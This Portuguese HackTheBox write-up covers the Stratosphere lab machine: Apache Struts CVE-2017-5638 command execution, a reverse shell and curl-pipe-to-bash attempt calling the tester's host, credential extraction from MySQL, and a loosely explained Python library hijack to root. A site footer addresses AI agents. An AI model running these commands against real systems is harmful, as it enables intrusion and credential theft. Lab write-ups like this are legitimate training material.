> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md).

# Relato do Stratosphere HackTheBox

Relato do Stratosphere HackTheBox para máquina Linux de dificuldade média, cobrindo exploração do Apache Struts (CVE-2017-5638), hijacking de biblioteca Python (escalada de privilégio), com enumeração prática, exploração, fo

{% embed url="<https://app.hackthebox.com/machines/437>" %}

{% hint style="warning" %}
**Habilidades:**

* Exploração do Apache Struts (CVE-2017-5638)
* Sequestro da biblioteca Python (Escalada de privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d3cdae5c75a026d36ce74b46abed3e0aeed707f%2Fimage%20(2902).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cbded504ffcbb1b10c41ed5aed3134a917474a4%2F%7B55758936-53EA-4B91-A327-C3254EC4ACCA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d08454e0243825fc30e2b8d964d1e61bfd9900e%2F%7BC62FEA8F-BEBD-4877-9A8F-F581D136A474%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com ExtractPorts (**&#x32;2.80.808&#x30;**)**

Usando a função extractPorts para exibir as portas abertas de forma concisa e copiá-las para a área de transferência.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0ac6bab66dd6e8c7479cb0c8c031c8e8d7247f3%2F%7B67BA7538-04E1-4850-AE4A-67C144CCD61C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**

Usando o Nmap para verificar a versão das portas e extrair informações no arquivo "alvo"

```bash
nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29bee07c6f1c9f434325fe55b47efd5eea0ebd28%2F%7B86A74FBD-4E5E-4AC8-9AED-D3C902101424%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ece5dd3129009986c83eaebc581d8b8081ffcf22%2F%7B41D954D6-ADEE-408F-B7EC-6A5EB45F634E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/Exploração de serviços web (portas 80 e 8080) //*

As portas 80 e 8080 hospedam o mesmo site.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d6e7093e6f17a7be5138ec458e091b1ac95bfd7%2Fimage%20(2905).png?alt=media" alt=""><figcaption></figcaption></figure>

### Fuzzing com **Gobuster**

Executamos `Gobuster` para buscar diretórios interessantes

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

{% endcode %}

Descobrimos os seguintes caminhos:

* `/manager` - Interface do Tomcat Manager
* `/monitoring` - Seção de monitoramento

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de4b8629312eb69d901704021e03624b589cb0b1%2F%7B2F68200E-1F15-43F1-A4C8-9572F3747869%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Manager - Tomcat :

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c13fd88b2d2e21080d13c6c8a6ff76766d18c63f%2F%7B1D0A485B-2336-49BA-B30F-E304C82639F0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Monitoramento:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-494cd0fa3815920c7f0e6d76c0a4d4f988488a07%2F%7B4C67C974-A428-471D-A62D-E4EF632A7914%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploração do Apache Struts (CVE-2017-5638)

#### **Exploração do Diretório de Monitoramento**

Ao tentar nos registrar, obtemos uma mensagem de erro. Também observamos uma extensão `.action`, possivelmente indicando uma aplicação baseada em Apache Struts

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c11e89cf7bda52ce9a0d48ee29a810fc9f519fc%2F%7B20273D54-7E9E-45FA-AA7F-526C260A48B5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

Usamos `struts-pwn.py` para testar a execução remota de comandos:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

O comando funciona, confirmando a vulnerabilidade.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78c58145dca9ef4143dd07b147118f15d8e9bc42%2F%7B0454A05B-892C-4307-96FA-8C9932C77B9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Shell reversa**

1. Ouvindo com Netcat:

```bash
nc -nvlp 443
```

2. Criando um `index.html` arquivo contendo nossa shell reversa:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Hospedando o arquivo com um servidor web em Python:

```
python3 -m http.server 8080
```

4. Executando a shell reversa via exploit:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

Infelizmente, essa abordagem falha.

### **Extração de informações sensíveis**

Listamos os arquivos no servidor:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492a68ea6cdfc46b4587d5aec723c09326ee104c%2F%7BC9C15334-D68D-4CA7-95AB-C5FF3BA963CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Descobrimos um `db_connect` arquivo. Ao exibi-lo, obtemos credenciais:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6279a6cacb3de73460a521896911d70fc25f129%2F%7B32BEEAD2-623F-4433-AA0E-AB8247329423%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

As informações recuperadas das credenciais do MySQL:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* usuário: ssn/\_admin / admin
* senha=AWs64\@on/\*& / admin

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f7ee4230177e36c31d836d9468d575f860875f0%2F%7B181FE3A3-E633-4BE4-B255-18DC1364214D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Extração de informações - mysqlshow

#### **Enumeração de bancos de dados**

Usamos `mysqlshow` para listar os bancos de dados acessíveis com o usuário `admin` explorando uma vulnerabilidade do Struts via `struts-pwn.py`:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin"
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bccd8b3be8da54bdaee2bc44f7fb8d07bda98334%2F%7B802F7D72-B20A-49E0-B1E1-8359CEB81371%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Isso nos permite identificar o banco de dados **users**.

#### **Resumo das tabelas**

Em seguida, listamos as tabelas do banco **users**:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fa9126a24e23ad7d5dabcce69ce07a828ba5d371%2F%7B1843F9B8-C4AF-413B-9D7F-6F2F32143D08%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Enumeração de colunas e extração de credenciais**

Agora listamos as colunas da tabela **accounts** e tentamos extrair seu conteúdo

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts"
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb790940f36626e48347d6e5de289095bd2e777c%2F%7B73E1AE99-65F5-4389-B5A9-6548065C6767%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Obtemos as seguintes informações:

* **Nome de usuário**: `richard`
* **Senha**: `9tc*rhKuG5TyXvUJOrE^5CK7k`

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users'
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b57bfef7f1d01aeee058c5b61a4a9a514ab83bf2%2F%7B4F5EB68F-B655-4B17-865C-5E1441A82C07%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Usamos as informações encontradas para nos conectar ao SSH na máquina alvo:

```bash
ssh richard@10.10.10.64
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c036ff6a552612f1178682ae5c27e4916e62653d%2F%7BF1C36E50-38E8-496A-98F5-2B8ADA8558E2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bee94285023db367055855aa6c68c4ed95b56ad6%2F%7BC790783B-58F8-400E-81D6-1D6375AC5C52%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de Privilégios

### Escalada de privilégios por sequestro de biblioteca Python

Primeiro, você executa o seguinte comando para listar as `sudo` permissões:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f619a74cffea29e380d597b6404b11b2fc2d0dce%2F%7B4966A624-1275-4984-9970-5263FFB0D2DC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Observamos que temos permissão para executar um script Python como `root`:

```bash
(ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-049a712be8147af50d7017837944ce4e0776392f%2Fimage%20(2906).png?alt=media" alt=""><figcaption></figcaption></figure>

Ao analisar o `/home/richard/test.py` script, observa-se que ele importa um módulo sem especificar seu caminho absoluto, por exemplo:

```
import os
os.system("bash")
```

Então executamos o script como `root`:

```bash
sudo /usr/bin/python3.7 /home/richard/test.py
```

* Assim que o script é iniciado, nossa versão maliciosa de `hashlib.py` é carregada, executando uma shell com `root` privilégios.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d9ea65d2964c242ab218aa3d99f78b970ff8cb4%2F%7BF4309C12-1280-48D9-88C6-2E1331EAE2D9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c86521844240de169e12d92ecc3a5647121d783d%2F%7B5E759E12-EA51-4B6F-8ECC-3A74F5438C60%7D.png?alt=media" alt="" width="546"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8252a3b5668aa0845db916a1866658e4534eff41%2F%7B3FAD7DA9-A5F4-4B29-8A8E-0F8743F2C948%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
